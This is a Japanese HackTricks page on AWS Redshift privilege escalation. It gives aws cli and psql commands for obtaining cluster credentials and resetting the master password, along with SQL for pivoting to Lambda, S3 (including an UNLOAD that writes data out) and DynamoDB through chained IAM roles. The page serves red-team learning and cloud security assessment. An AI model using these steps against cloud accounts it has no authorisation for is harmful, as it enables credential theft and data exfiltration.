AWS - Redshift Privesc
Reading time: 6 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
Redshift
RDSに関する詳細情報は、以下を確認してください:
redshift:DescribeClusters
, redshift:GetClusterCredentials
これらの権限を持つことで、すべてのクラスターの情報(名前やクラスターのユーザー名を含む)を取得し、アクセスするための資格情報を取得できます:
# Get creds
aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:<username>" -d template1 -p 5439
潜在的な影響: データベース内の機密情報を見つける。
redshift:DescribeClusters
, redshift:GetClusterCredentialsWithIAM
これらの権限を持つことで、すべてのクラスターの情報を取得し、アクセスするための資格情報を取得できます。
postgresユーザーは、資格情報を取得するために使用されたIAMアイデンティティの権限を持つことに注意してください。
# Get creds
aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439
潜在的な影響: データベース内の機密情報を見つける。
redshift:DescribeClusters
, redshift:ModifyCluster?
aws cliから内部postgres(redshift)ユーザーのマスターパスワードを変更することが可能です(これが必要な権限だと思いますが、まだテストしていません):
aws redshift modify-cluster –cluster-identifier <identifier-for-the cluster> –master-user-password ‘master-password’;
潜在的影響: データベース内の機密情報を見つける。
外部サービスへのアクセス
warning
次のすべてのリソースにアクセスするには、使用するロールを指定する必要があります。Redshiftクラスターには、使用できるAWSロールのリストが割り当てられている場合があります。ARNを知っている場合はそれを使用するか、単に「default」を設定して割り当てられたデフォルトのものを使用できます。
さらに、ここで説明されているように、Redshiftはロールを連結することも許可しています(最初のロールが2番目のロールを引き受けることができる限り)が、カンマで区切る必要があります:
iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';
ラムダ
https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.htmlで説明されているように、Redshiftからラムダ関数を呼び出すことが可能です。
CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT)
RETURNS INT
STABLE
LAMBDA 'lambda_function'
IAM_ROLE default;
S3
https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.htmlで説明されているように、S3バケットに読み書きすることが可能です:
# Read
copy table from 's3://<your-bucket-name>/load/key_prefix'
credentials 'aws_iam_role=arn:aws:iam::<aws-account-id>:role/<role-name>'
region '<region>'
options;
# Write
unload ('select * from venue')
to 's3://mybucket/tickit/unload/venue_'
iam_role default;
Dynamo
https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.htmlで説明されているように、dynamodbからデータを取得することが可能です:
copy favoritemovies
from 'dynamodb://ProductCatalog'
iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole';
warning
データを提供するAmazon DynamoDBテーブルは、クラスターと同じAWSリージョンに作成する必要があります。さもなければ、REGIONオプションを使用して、Amazon DynamoDBテーブルが存在するAWSリージョンを指定する必要があります。
EMR
チェック https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html
References
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。